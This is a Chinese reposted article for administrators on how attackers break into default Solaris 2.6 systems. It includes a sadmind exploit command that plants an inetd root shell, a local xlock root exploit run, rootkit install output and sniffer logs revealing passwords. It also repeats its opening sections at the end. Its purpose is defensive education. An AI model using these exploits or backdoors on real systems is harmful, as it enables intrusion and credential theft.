本文介绍一般的***是通过什么样手段***你的Solaris操作系统的,值得注意的是,大多数的***总是用最基本,最简单的方法取得成功的。
本文中,我们假定大家采用Solaris的缺省配置,我们以此为例,说明什么样的系统漏洞最容易招致******。同时,我们采用的工具都是网上很容易找到的免费软件,以此演示***进攻所使用的技巧。
这里演示的***方法都有相应的预防措施,但是,***们每天都在使用这些方法取得成功。只有你知道***在做什么,他们是怎么做的,你才会明白在自己的机构中建立和维护一个安全的系统是多么重要。
许多管理员仅仅在安装系统的时候才会考虑安全性问题,以为这样就一劳永逸了。可惜事实上保护系统的安全是一个不断进行的过程,必须经常跟踪和检查。
使用本文提供的资料,你可以尝试***你所管理的数据中心(datacenter),高端服务器或者其他系统来检查是不是最基本的***方式都可以轻易得手。根据这些信息,你就可以确定系统的缺陷,然后采取措施加以保护。
这篇文章包括以下内容:
***的策略
工具
操作步骤
如何使用工具
相关参考资料
--------------------------------------------------------------------------------------
***的策略
苍蝇不叮没缝的蛋,******总是寻找有漏洞的系统。一般来说,漏洞有三种:
1.账户系统的漏洞
2.操作系统的漏洞
3.运行环境(一般是后台进程)的漏洞
大多数***都是由于好奇心的驱使而发起***的,所以这些***最终也许会找到某种专门的方法来进行有效的***。但绝大多数成功***都是利用早已公布的安全漏 洞来完成的。管理员或者是没有打必要的补丁,或者是没有禁用这些功能,终于飞来横祸。今天,我们要讨论的就是这种不应该发生但事实上却每天都在发生的故 事。
提示:你可以利用SUN公司推荐的工具包 Solaris Security Toolkit 来帮助你完善系统:打上该打的补丁或者禁用某些危险的功能。这个工具包可以从 http://www.sun.com/blueprints/tools 下载。
发现账户系统的漏洞
***社会经常出现这样一种情况:某些***高手开发出一个很好的扫描工具以后,就把这个工具放到网上,由于这个工具能够有效地搜索已经公布的系统漏洞,很多 低级***(通常是所谓的”脚本少年”)就开始利用这个工具7X24小时地工作,搜索大量的主机系统来找出一些存在漏洞的系统。如果他们想进入某个公司的系 统,就会寻找所有与其有关的主机进行扫描。
扫描过后,一般总能发现一些差劲的系统,这些少年就可以开始工作了。由于漏洞的严重程度不同,有时候他们只能建立非特权账户,但有时候就可以建立一些特权 账户。不管怎样,***者已经有了落脚点,他们进一步的扩大战果,获取更多的特权,还会继续***所有跟这台主机有信任关系的其他主机。
发现操作系统的漏洞
如前所述,***首先寻找系统漏洞以获取一个账户,然后再寻找操作系统的漏洞来进攻。
寻找某个特定操作系统的漏洞非常容易。现今有许多机构在Internet上提供操作系统的漏洞大全。这些机构的目的是想给公众提供资料,所以一般的网民和***同样可以获取这些资源。换句话说,你和***是平等的,每个人都有能力成为***。
Mitre, 一个为政府服务的智囊团,维护着一个有关系统漏洞和安全隐患的字典,(Common Vulnerability and Exposures—简称 CVE)。他们在自己的网站上解释这样做的目的:
我们给每个系统漏洞和信息安全隐患起一个标准化的名字—CVE 的目标就是标准化所有已知系统漏洞和安全隐患的命名以方便查阅和搜索。
其它的安全网站,比如 SecurityFocus, CERT, SANS Institute等等, 都提供方法和工具来发现并***系统漏洞
***运行环境
以Solaris 2.6为例。一个非常有名的漏洞就是由 sadmind 进程造成的。(现在已经有专门的补丁)。黑河经常利用这个漏洞获取root 权限。
每个人都可以很容易学会怎样利用这个漏洞进行***:搜索前面的Mitre网站可以得到一个CVE 编号,再利用一个搜索引擎和这个编号,你就可以找到用来***的源代码和详尽的***步骤。整个寻找过程只要几分钟。比如,到SecurityFocus站点 找源代码,到SANS站点找***方略。
工具
***们有许多工具***系统,我们这里所介绍的每种工具都有专门的用途。我们把这些工具分为四个类型:
端口扫描工具
漏洞扫描工具
Rootkits (隐身工具)
Sniffers (抓包工具)
端口扫描工具
端口扫描工具大概是Internet上用得最多的扫描工具了。这个工具扫描大量的IP地址,然后得出一系列的报告: 他们遇到的主机,操作系统的类型,可用的端口,等等。现在最流行的工具是Network Mapper(Nmap).
Nmap的网站这样描述这个工具:
Nmap (“Network Mapper”) is an open source utility for network exploration or
security auditing. It was designed to rapidly scan large networks, although it
works fine against single hosts. Nmap uses raw IP packets in novel ways to
determine what hosts are available on the network, what services (ports) they are
offering, what operating system (and OS version) they are running, what type of
packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs
on most types of computers, and both console and graphical versions are
available. Nmap is free software, available with full source code under the terms
of the GNU GPL.3
Nmap 是一个用于检察系统安全性的开放源码工具。它主要用来扫描大量的网络主机,当然,检查单个主机更没问题。由于Nmap使用原始IP包搜集数据,然后以一种 很巧妙的方式判断如下信息:网络上有哪些主机,都提供那些服务,操作系统是什么,是哪亿个版本,使用了哪一类包过滤/防火墙技术,等等。Nmap支持大多 数操作系统,包含命令行版本和GUI版本。Nmap 是自由软件,任何人可以在GNU GPL下获得其源代码。
Nmap 支持的扫描种类非常多:包括TCP SYN和 NULL scan。其他选项包括OS fingerprinting, parallel scan, 以及decoy scanning 等。Nmap有一个命令叫做xnmap可以支持图形方式的操作。更详细的信息可以从Nmap网站或者nmap(1M)的手册页得到。
系统漏洞扫描工具
漏洞扫描工具可以对目标系统进行测试,看它是不是存在某个特定的漏洞可以用来***,或者是许多已知漏洞中的一个。大多数这种工具都可以免费得到,这里着重介绍目前最流行,也是发展最快的一个工具: Nessus.
Nessus的网站这样描述这个工具:
“Nessus”项目致力于向Internet社区提供一种免费但功能强大,迅速更新的远程安全检查工具。这种工具可以通过在远端操作就可以评估一个网络的安全性,看它是不是能够被轻易攻入,当然,也难免有人会怀着其他目的使用这个软件。
与其他的安全检查工具不同,Nessus从不做事先假定,举个例子,它不会假定web server是监听在80端口,所以即使你在1234端口启动apache,它也可以发现,Nessus也不根据软件的版本判断是否存在漏洞,它只是真正 的测试这个软件看它是不是有问题。
Nessus速度非常快,也很可靠,它是基于模块架构的,这样你如果需要的话可以很容易的改造它。
Nessus为系统管理员和***提供了同样的工具来检查一个系统,评价它是否安全。它既支持命令行方式,也支持图形界面,但一般用图形界面更方便。如果需要更多的信息,请访问Nessus网站。
Rootkits(隐身工具)
Rootkits是指由一些脚本和程序打包成的一种工具,这种工具能帮助***者消除自己曾经侵入这个系统,并曾经获取root权限的痕迹,它的主要工作如下所示:
修改log文件,清除***活动证据。
修改系统工具,使得管理员很难甚至无法发现***活动。
为下次***留下后门。
把当前的系统变成落脚点,进一步***其它系统。
Sniffers(抓包工具)
一般的网络软件仅仅接受专门发给自己的IP包,Sniffing使计算机能够截获局域网上所有的包,来获取一些不必要知道或者不应该知道的东西。要想使用sniffer,必须先把计算机设置到一种特定的模式,使得底层的网络软件把所有收到的IP包都转发到上层的应用程序。
Solaris自带一个snoop工具,尽管相对粗糙,但仍然能够清除的以文本方式显示收到的用户ID和口令。目前经常使用的许多网络软件都使用铭文传送用户名和口令的。比如Telnet,IMAP,POP3等。
***一旦进入系统,通常会安装一个抓包工具来寻找更多的用户名和口令,也会寻找网络结构方面的信息,以方便进一步的***。
操作步骤
本届以两个实例说明******一个没有安全保护的系统有多么轻而易举,我们的两个实例模拟以下两种情况的***:
从Internet 发起***
从网络内部发起***
在以上两种***情形中,***只要得到了root权限,就会想办法保留这种进攻途径,以便下一次进入系统,它也会建立更多的特权,以获取更多的资源。我们在这里把***用到的工具综合起来,来显示他们是怎样工作的。
从Internet发起***
这个实例中,我们用Nessus找到一个Solaris2.6系统,这个系统存在sadmind 的RPC漏洞而且没有打补丁,我们看看sadmind 进攻是如何攻破系统的。
首先,***用一个rootkit来获取并保护自己的root访问权限。在 sadmindex.c 程序的开头有这样一段关于用法的信息:
sadmindex - SPARC Solaris remote root exploit for /usr/sbin/
sadmind Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)
Usage: % sadmindex -h hostname -c command -s sp [-o offset] [-a
alignment] [-p]
where hostname is the hostname of the machine running the
vulnerable system administration daemon, command is the command to
run as root on the vulnerable machine, sp is the %sp stack pointer
value, offset is the number of bytes to add to sp to calculate the
desired return address, and alignment is the number of bytes needed
to correctly align the contents of the exploit buffer.
Sadmindex的作者甚至给出了一个推荐的sp 堆栈指针值来使得***更加容易。
有时可能需要调整sp 参数,作者也给出了调整的方法,事实上也花不了许多时间。
我们从一个运行Solaris8的系统向目标机器发起***:
# ./sadminsparc -h nfs -c "echo ’ingreslock stream tcp nowait root
/bin/sh sh -i’ \
>;/tmp/.gotcha; /usr/sbin/inetd -s /tmp/.gotcha" -s 0xefff9596
运行的过程如下:
% sp 0xefff9596 offset 688 -->; return address 0xefff9844 [4]
% sp 0xefff9596 with frame length 4808 -->; %fp 0xefffa858
clnt_call: RPC: Timed out
now check if exploit worked; RPC failure was expected
作为系统管理员,如果你想在自己的系统上试一下,或者你想检查是否有******了你的系统,可以使用以下命令:
# ps -ef | grep inetd
root 5806 1 1 22:59:38 ? 0:00 /usr/sbin/inetd -s /tmp/.x
然后,执行以下命令来检查ingreslock进程是否生效:
# netstat -a | grep ingres
*.ingreslock *.* 0 0 0 0 LISTEN
***可以用以下命令建立Telnet连接,从而获得root权限:
# telnet nfs ingreslock
Trying 192.168.0.20...
Connected to nfs.
Escape character is ’^]’.
# hostname
nfs
从内部***
这是一个很常见的情形,某个公司职员可以访问系统,但没有root特权,如果系统不足够安全的话,就会给居心不良的职员以可乘之机。
雇员恶意***系统以获取更多权限的问题是确实存在的,但很多系统管理员或经理人员总是忽视这个问题,他们或者认为这样的事情不会发生,或者觉得应该充分相信雇员。这样就很容易引发严重的安全问题。
许多系统都会有各种各样的用户,他们的权限根据用户ID和所在的用户组确定,一般来说,这些用户没有root口令,也没有root权限。但当一个授权用户心存恶意的时候,当某个***者采用某种手段得到了一个有效的账户的时候,将会发生什么事情呢?
进入系统以后,***者大多会利用某些软件的缓冲区溢出问题进行***来得到root权限。例如,2001年8月10号,就有人发现xlock存在缓冲区溢出 问题。(xlock是X-windows用来锁屏的程序)这个漏洞很有价值,因为xlock是用 setuid root命令安装的。
在网上可以很容易地找到利用这个漏洞进行***的源代码,只需要131行,在我们的例子中,我们用gcc编译了这个程序,然后放在测试系统ganassi上面。下面是***的过程:
console login: noorder
Password:
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
ganassi% /usr/ucb/whoami
noorder
ganassi% ./sol_sparc_xlockex
shellcode address padding = 0
stack arguments len = 0x502(1282)
the padding zeros number = 2
Using RET address = 0xeffffb10
Using retloc = 0xefffe8c4
# /usr/ucb/whoami
root
现在我们已经得到root权限了,下面的***就很容易了,可以安装sniffer,也可以设置后门,运行rootkits,等等。
如何使用工具
这一节介绍前面提到的几个工具的用法,我们给出使用的例子和解释输出结果的技巧,把这些信息和前面的***案例结合起来,可以使进攻更犀利,更有效。
端口扫描工具用法:
我们用下面的例子解释Nmap的用法。从输出结果可以看到系统当前所运行的服务,Nmap辨别目标操作系统版本的能力非常有用,因为这样可以为其后的***节省很多时间。
根据Nmap的输出结果,这个系统是一个Solaris2.6或者Solaris7系统,大多数缺省的服务都在运行。
输出结果如下:
# /usr/local/nmap -O ganassi
Starting nmap V. 2.53 ([url]www.insecure.org/nmap/[/url])
Interesting ports on ganassi (10.8.10.231):
(The 1515 ports scanned but not shown below are in state: closed)
Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
37/tcp open time
79/tcp open finger
111/tcp open sunrpc
512/tcp open exec
513/tcp open login
514/tcp open shell
515/tcp open printer
540/tcp open uucp
1103/tcp open xaudio
4045/tcp open lockd
6112/tcp open dtspc
7100/tcp open font-service
32771/tcp open sometimes-rpc5
32772/tcp open sometimes-rpc7
32773/tcp open sometimes-rpc9
32774/tcp open sometimes-rpc11
32775/tcp open sometimes-rpc13
32776/tcp open sometimes-rpc15
32777/tcp open sometimes-rpc17
32778/tcp open sometimes-rpc19
Remote operating system guess: Solaris 2.6 - 2.7
Uptime 0.054 days (since Wed Sep 12 09:41:59 2001)
Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds
漏洞扫描工具
Nessus用法如下:
# nessus -T text localhost 1241 noorder targetfile outfile
nessus检察 targetfile中的主机,并将检查结果保存在 outfile
输出文件如下所示:
Nessus Scan Report
------------------
SUMMARY
- Number of hosts which were alive during the test : 1
- Number of security holes found : 2
- Number of security warnings found : 15
- Number of security notes found : 1
TESTED HOSTS
192.168.0.90 (Security holes found)
然后是检查的细节描述:
DETAILS
+ 192.168.0.90 :
. List of open ports :
o unknown (161/udp) (Security hole found)
o unknown (32779/udp) (Security warnings found)
o unknown (32775/tcp) (Security warnings found)
o unknown (32776/udp) (Security warnings found)
o unknown (32778/udp) (Security warnings found)
o unknown (32774/udp) (Security hole found)
o unknown (32777/udp) (Security warnings found)
o unknown (32780/udp) (Security warnings found)
o unknown (32775/udp) (Security warnings found)
o lockd (4045/udp) (Security warnings found)
o unknown (32781/udp) (Security hole found)
. Vulnerability found on port unknown (32774/udp) :
The sadmin RPC service is running.
There is a bug in Solaris versions of
this service that allow an intruder to
execute arbitrary commands on your system.
Solution : disable this service
Risk factor : High
利用这些输出信息,***可以按照我们上文描述的方法***系统。
另外,nessus还可以发现一种叫做“拒绝服务”式的漏洞:
DETAILS
. List of open ports :
o general/tcp (Security hole found)
. Vulnerability found on port general/tcp :
It was possible
to make the remote server crash
using the ’teardrop’ attack.
A cracker may use this attack to
shut down this server, thus
preventing your network from
working properly.
Solution : contact your operating
system vendor for a patch.
Risk factor : High
CVE : CAN-1999-0015
使用Rootkits
网络上有不少这种软件,我们使用针对Solaris2.6的一个工具包(sun2.rootkit)来演示。这个rootkit包含三个类型的程序:
网络抓包工具
log文件修改
Internet Relay Chat(IRC)proxy
这个工具包中有一个安装脚本:
ganassi# ./setup.sh
hax0r w1th gforce
Ok This thing is complete
cp: cannot access l0gin
cp: cannot create /usr/local/bin/find: No such file or directory
mv: cannot access /etc/.ts
mv: cannot access /etc/.tp
- WTMP:
/var/adm/wtmp is Thu Mar 26 13:21:36 1987
/usr/adm/wtmp cannot open
/etc/wtmp is Thu Mar 26 13:21:36 1987
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
No user re found in /var/adm/wtmp
[...]
./setup.sh: ./zap: not found
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
193 ? 0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs->; ([email]Pharos@refract.com[/email]) or IRC pharos on
efnet
--Using conf file ./sys222.conf
--Configuration:
Daemon port......:9879
Maxusers.........:0
Default conn port:6667
Pid File.........:./pid.sys222
Vhost Default....:-SYSTEM DEFAULT-
Process Id.......:759
Exit ./sys222{7} :Successfully went into the background.
这个脚本写的既不高明也不标准,但它确实生效了,最终替换了下列系统程序:
/bin/ls
/usr/bin/ls
/bin/ps
/bin/netstat
/usr/bin/netstat
/usr/sbin/rpcbind
现在***者取得了root权限而且这个系统已经变得:
系统管理员很难使用标准的Solaris命令发现***者的踪迹,因为这些命令已经被换成了特罗伊***。
***者很容易再次***系统,因为login和rpcbind两个程序的新版本将允许进攻者远程登录系统。
Rootkit还在俘虏主机上安装了抓包工具,包括:le,sniff,sniff-10mb,和sniff-100mb.
在我们的系统上只有sniff-100mb可以工作,因为其他几个工具固定死了网卡接口的名称。
Sniff-100mb缺省使用hme0网卡,当网络有活动的时候,程序清晰的打印出结果:
ganassi# ./sniff-100mb
Using logical device /dev/hme [/dev/hme]
Output to stdout.
Log started at =>; Thu Aug 26 15:31:10 [pid 856]
-- TCP/IP LOG -- TM: Thu Aug 26 15:31:19 --
PATH: 10.8.10.200(3439 =>; ganassi(telnet)
STAT: Thu Aug 26 15:31:48, 111 pkts, 128 bytes [DATA LIMIT]
DATA: (255)(253)^C(255)(251)^X(255)(251)^_(255)(251)
(255)(251)!(255)(251)"(255)(251)’(255)(253)^E(255)(250)^_
: P
: ^X(255)(240)(255)(252)#(255)(252)$(255)(250)^X
: DTTERM(255)(240)(255)(250)’
: (255)(240)(255)(253)^A(255)(252)^Anoorder
: t00lk1t
: ls
: who
: cd /var/tmp
: ls -al
--
输出中清楚地包含用户名和口令。
这个rootkit中处理log文件的程序叫做zap,它在却省的路径中寻找并修改下面几个文件:utmp,utmpx,wtmp,wtmpx和lastlog.
还有一个工具叫做bot,它可以维护一个专门的IRC通道,用来发送消息或者相应一些命令。
使用Sniffers
为了说明用抓包工具获取用户名和口令的用法,我们用snoop来做实验,搜集这些信息只需要几秒钟就可以了:
先是一个Telnet的例子:
# snoop -d qfe0 port telnet ganassi
ganassi ->; nomex-lab TELNET R port=32835
\377\373\1\377\375\1login:
nomex-lab ->; ganassi TELNET C port=32835 r
ganassi ->; nomex-lab TELNET R port=32835 r
nomex-lab ->; ganassi TELNET C port=32835 o
ganassi ->; nomex-lab TELNET R port=32835 o
nomex-lab ->; ganassi TELNET C port=32835
nomex-lab ->; ganassi TELNET C port=32835 o
ganassi ->; nomex-lab TELNET R port=32835 o
nomex-lab ->; ganassi TELNET C port=32835
nomex-lab ->; ganassi TELNET C port=32835 t
ganassi ->; nomex-lab TELNET R port=32835 t
nomex-lab ->; ganassi TELNET C port=32835
ganassi ->; nomex-lab TELNET R port=32835 Password:
nomex-lab ->; ganassi TELNET C port=32835
nomex-lab ->; ganassi TELNET C port=32835 t
ganassi ->; nomex-lab TELNET R port=32835
nomex-lab ->; ganassi TELNET C port=32835 0
ganassi ->; nomex-lab TELNET R port=32835
nomex-lab ->; ganassi TELNET C port=32835 0
ganassi ->; nomex-lab TELNET R port=32835
nomex-lab ->; ganassi TELNET C port=32835 l
ganassi ->; nomex-lab TELNET R port=32835
nomex-lab ->; ganassi TELNET C port=32835 k
ganassi ->; nomex-lab TELNET R port=32835
nomex-lab ->; ganassi TELNET C port=32835 1
ganassi ->; nomex-lab TELNET R port=32835
nomex-lab ->; ganassi TELNET C port=32835 t
nomex-lab ->; ganassi TELNET C port=32835
ganassi ->; nomex-lab TELNET R port=32835 Last login: Thu Mar
nomex-lab ->; ganassi TELNET C port=32835
ganassi ->; nomex-lab TELNET R port=32835 #
然后是一个IMAP的例子:
# snoop -d qfe0 port imap2 ganassi
jordan ->; ganassi IMAP C port=46600
ganassi ->; jordan IMAP R port=46600
jordan ->; ganassi IMAP C port=46600
ganassi ->; jordan IMAP R port=46600 * OK ganassi SIMS (tm) 2.0p12
IMAP
jordan ->; ganassi IMAP C port=46600
jordan ->; ganassi IMAP C port=46600 1 capability\r\n
ganassi ->; jordan IMAP R port=46600
ganassi ->; jordan IMAP R port=46600 * CAPABILITY IMAP4 STATUS SCAN
IMAP4
jordan ->; ganassi IMAP C port=46600
jordan ->; ganassi IMAP C port=46600 2 login "hacked" "t00lk1t”\r\n
ganassi ->; jordan IMAP R port=46600 2 OK LOGIN completed
使用snoop是最直接的办法,但如果它运行的时间很长,就会产生大量的数据,很容易引起怀疑,所以更好的办法是采用某种可以仅仅保存用户名和口令的工 具,sniffit使其中非常简单的一个,令一个复杂一些,但也更灵活,更强大的工具是dsniff.(它还可以***交换式网络)这两个工具都可以长时间 的运行来收集成百上千的用户名和口令。
交换式网络
说到网络抓包,有必要提一下网络交换机,与集线器hub一样,网络交换机把多个系统连接到一个网段中。主要的区别式交换机是基于端口工作的,这种方式下, 交换机的每个端口只能看到发给它的IP包,而不是网上所有的报都可以看到。这样就算一块网卡配成混合模式,它也不能受到发送到其他地方的包。
因此,许多人认为抓包工具没有用。但事实上即便是交换式网络中也需要小心抓包工具,原因有两点:1,一台机器上的抓包工具既可以收集发到本系统的包,也可 以收集从本机发出的包,这样就有更多的口令容易泄漏;2,ARP***可以对付网络交换机,是它把所有的包都通过一个固定的端口进行转发,这样sniff仍 然有用武之地。所以,网络交换机是预防sniff***的一种方法,但绝不是彻底的方法。
要想真正防止抓包工具,必须采用加密技术。例如,用SSH代替Telnet和FTP,用SSL代替普通的pop3收发邮件。这样才能真正有效地避免sniffing.
Terminal Server(终端控制器)
许多机构经常利用终端控制器管理一些服务器主机(这些主机没有显示器,键盘和鼠标,只能通过远程终端控制台管理)。尽管在数据中心这样做可以节省空间和资 源,非常必要,但也应该注意安全性的问题,比如,SUN cluster3.0附带的终端控制器通常是8口的Bay Annex Server。这种终端控制器同样是利用Telnet工作的。以下是snoop纪录的一次root登录中断服务器的过程:
# snoop -d qfe0 nts01
nts01 ->; nomex TELNET R port=34395 \nRotaries Defined:
nomex ->; nts01 TELNET C port=34395
nts01 ->; nomex TELNET R port=34395 \n\nEnter Annex p
nomex ->; nts01 TELNET C port=34395
nomex ->; nts01 TELNET C port=34395 3
nts01 ->; nomex TELNET R port=34395
nts01 ->; nomex TELNET R port=34395 Attached to port 3
nomex ->; nts01 TELNET C port=34395
nts01 ->; nomex TELNET R port=34395 ganassi console lo
nomex ->; nts01 TELNET C port=34395
nomex ->; nts01 TELNET C port=34395 r
nts01 ->; nomex TELNET R port=34395 r
nomex ->; nts01 TELNET C port=34395 o
nts01 ->; nomex TELNET R port=34395 o
nts01 ->; nomex TELNET R port=34395 o
nomex ->; nts01 TELNET C port=34395 o
nomex ->; nts01 TELNET C port=34395 t
nts01 ->; nomex TELNET R port=34395 t
nomex ->; nts01 TELNET C port=34395
nts01 ->; nomex TELNET R port=34395 Password:
nomex ->; nts01 TELNET C port=34395
nomex ->; nts01 TELNET C port=34395 t
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395 0
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395 0
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395 l
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395 k
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395 1
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395 t
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395
nts01 ->; nomex TELNET R port=34395 Mar 26 13:04:36 ga
nts01 ->; nomex TELNET R port=34395 Last login:
nomex ->; nts01 TELNET C port=34395
nts01 ->; nomex TELNET R port=34395 Thu Mar 26 13:03:06
nts01 ->; nomex TELNET R port=34395 SunOS 5.6 Gene
显然,终端服务器同样需要安全保护,可以采用两种方法:一是采用支持SSH的终端服务器,二是把终端服务器与本地子网隔离开来,通过一个支持SSH的网关登录终端服务器。
参考资料
1. Webster’s Third New International Dictionary, Merriam-Webster, Inc., Springfield,
MA, 1986, page 2442.
2. Common Vulnerability and Exposures (CVE) Web site:
[url]http://cve.mitre.org[/url]
3. NMap web site: [url]http://www.nmap.org[/url]
4. Nessus web site: [url]http://www.nessus.org[/url]
相关资源:
公共出版物:
Dasan, Vasanthan, Noordergraaf, Alex, and Ordica, Lou. The Solaris Fingerprint
Database—A Security Tool for Solaris Software and Files, Sun BluePrints OnLine, May
2001
Deeths, David and Brunette, Glenn. Using NTP to Control and Synchronize System
Clocks - Part II: Basic NTP Administration and Architecture, Sun BluePrints OnLine,
August 2001.
Noordergraaf, Alex. Building Secure N-Tier Environments, Sun BluePrints OnLine,
October 2000.
Noordergraaf, Alex. Solaris Operating Environment Minimization for Security:
Updated for the Solaris 8 Operating Environment, Sun BluePrints OnLine, November
2000.
Noordergraaf, Alex and Brunette, Glenn. The Solaris Security Toolkit—Quick Start:
Updated for Version 0.3, Sun BluePrints OnLine, June 2001.
Noordergraaf, Alex and Watson, Keith. Solaris Operating Environment Security:
Updated for the Solaris 8 Operating Environment, Sun BluePrints OnLine, April 2001.
Prosise, Chris and Shah, Saumil Udayan. At the Root of Rootkits, CNET Online,
[url]http://builder.cnet.com/webbuilding/0-7532-8-4561014-1.html?tag=st.bl.7532.edt.7532-8-4561014[/url], January 25, 2001.
Reid, Jason M and Watson, Keith. Building and Deploying OpenSSH in the Solaris
Operating Environment, Sun BluePrints OnLine, July 2001.
Watson, Keith and Noordergraaf, Alex. Solaris Operating Environment Network
Settings for Security: Updated for the Solaris 8 Operating Environment, Sun BluePrints
OnLine, December 2000.
网址:
>; Sun BluePrints OnLine: [url]http://sun.com/blueprints[/url]
>; TripWire: [url]http://www.tripwire.com[/url]
>; Chkrootkit: [url]http://www.chkrootkit.org/[/url]
>; Nessus: [url]http://www.nessus.org[/url]
>; NMap: [url]http://www.nmap.org[/url]
>; SecurityFocus: [url]http://www.securityfocus.com[/url]
>; CERT: [url]http://www.cert.org[/url]
>; SANS Institute: [url]http://www.sans.org[/url]
>; SunSolve: [url]http://sunsolve.sun.com[/url]
本文转载于Chinunix
[url]http://bbs.chinaunix.net/viewthread.php?tid=403260[/url]
本文中,我们假定大家采用Solaris的缺省配置,我们以此为例,说明什么样的系统漏洞最容易招致******。同时,我们采用的工具都是网上很容易找到的免费软件,以此演示***进攻所使用的技巧。
这里演示的***方法都有相应的预防措施,但是,***们每天都在使用这些方法取得成功。只有你知道***在做什么,他们是怎么做的,你才会明白在自己的机构中建立和维护一个安全的系统是多么重要。
许多管理员仅仅在安装系统的时候才会考虑安全性问题,以为这样就一劳永逸了。可惜事实上保护系统的安全是一个不断进行的过程,必须经常跟踪和检查。
使用本文提供的资料,你可以尝试***你所管理的数据中心(datacenter),高端服务器或者其他系统来检查是不是最基本的***方式都可以轻易得手。根据这些信息,你就可以确定系统的缺陷,然后采取措施加以保护。
这篇文章包括以下内容:
***的策略
工具
操作步骤
如何使用工具
相关参考资料
--------------------------------------------------------------------------------------
***的策略
苍蝇不叮没缝的蛋,******总是寻找有漏洞的系统。一般来说,漏洞有三种:
1.账户系统的漏洞
2.操作系统的漏洞
3.运行环境(一般是后台进程)的漏洞
大多数***都是由于好奇心的驱使而发起***的,所以这些***最终也许会找到某种专门的方法来进行有效的***。但绝大多数成功***都是利用早已公布的安全漏 洞来完成的。管理员或者是没有打必要的补丁,或者是没有禁用这些功能,终于飞来横祸。今天,我们要讨论的就是这种不应该发生但事实上却每天都在发生的故 事。
提示:你可以利用SUN公司推荐的工具包 Solaris Security Toolkit 来帮助你完善系统:打上该打的补丁或者禁用某些危险的功能。这个工具包可以从 http://www.sun.com/blueprints/tools 下载。
发现账户系统的漏洞
***社会经常出现这样一种情况:某些***高手开发出一个很好的扫描工具以后,就把这个工具放到网上,由于这个工具能够有效地搜索已经公布的系统漏洞,很多 低级***(通常是所谓的”脚本少年”)就开始利用这个工具7X24小时地工作,搜索大量的主机系统来找出一些存在漏洞的系统。如果他们想进入某个公司的系 统,就会寻找所有与其有关的主机进行扫描。
扫描过后,一般总能发现一些差劲的系统,这些少年就可以开始工作了。由于漏洞的严重程度不同,有时候他们只能建立非特权账户,但有时候就可以建立一些特权 账户。不管怎样,***者已经有了落脚点,他们进一步的扩大战果,获取更多的特权,还会继续***所有跟这台主机有信任关系的其他主机。
发现操作系统的漏洞
如前所述,***首先寻找系统漏洞以获取一个账户,然后再寻找操作系统的漏洞来进攻。
寻找某个特定操作系统的漏洞非常容易。现今有许多机构在Internet上提供操作系统的漏洞大全。这些机构的目的是想给公众提供资料,所以一般的网民和***同样可以获取这些资源。换句话说,你和***是平等的,每个人都有能力成为***。
Mitre, 一个为政府服务的智囊团,维护着一个有关系统漏洞和安全隐患的字典,(Common Vulnerability and Exposures—简称 CVE)。他们在自己的网站上解释这样做的目的:
我们给每个系统漏洞和信息安全隐患起一个标准化的名字—CVE 的目标就是标准化所有已知系统漏洞和安全隐患的命名以方便查阅和搜索。
其它的安全网站,比如 SecurityFocus, CERT, SANS Institute等等, 都提供方法和工具来发现并***系统漏洞
***运行环境
以Solaris 2.6为例。一个非常有名的漏洞就是由 sadmind 进程造成的。(现在已经有专门的补丁)。黑河经常利用这个漏洞获取root 权限。
每个人都可以很容易学会怎样利用这个漏洞进行***:搜索前面的Mitre网站可以得到一个CVE 编号,再利用一个搜索引擎和这个编号,你就可以找到用来***的源代码和详尽的***步骤。整个寻找过程只要几分钟。比如,到SecurityFocus站点 找源代码,到SANS站点找***方略。
工具
***们有许多工具***系统,我们这里所介绍的每种工具都有专门的用途。我们把这些工具分为四个类型:
端口扫描工具
漏洞扫描工具
Rootkits (隐身工具)
Sniffers (抓包工具)
端口扫描工具
端口扫描工具大概是Internet上用得最多的扫描工具了。这个工具扫描大量的IP地址,然后得出一系列的报告: 他们遇到的主机,操作系统的类型,可用的端口,等等。现在最流行的工具是Network Mapper(Nmap).
Nmap的网站这样描述这个工具:
Nmap (“Network Mapper”) is an open source utility for network exploration or
security auditing. It was designed to rapidly scan large networks, although it
works fine against single hosts. Nmap uses raw IP packets in novel ways to
determine what hosts are available on the network, what services (ports) they are
offering, what operating system (and OS version) they are running, what type of
packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs
on most types of computers, and both console and graphical versions are
available. Nmap is free software, available with full source code under the terms
of the GNU GPL.3
Nmap 是一个用于检察系统安全性的开放源码工具。它主要用来扫描大量的网络主机,当然,检查单个主机更没问题。由于Nmap使用原始IP包搜集数据,然后以一种 很巧妙的方式判断如下信息:网络上有哪些主机,都提供那些服务,操作系统是什么,是哪亿个版本,使用了哪一类包过滤/防火墙技术,等等。Nmap支持大多 数操作系统,包含命令行版本和GUI版本。Nmap 是自由软件,任何人可以在GNU GPL下获得其源代码。
Nmap 支持的扫描种类非常多:包括TCP SYN和 NULL scan。其他选项包括OS fingerprinting, parallel scan, 以及decoy scanning 等。Nmap有一个命令叫做xnmap可以支持图形方式的操作。更详细的信息可以从Nmap网站或者nmap(1M)的手册页得到。
系统漏洞扫描工具
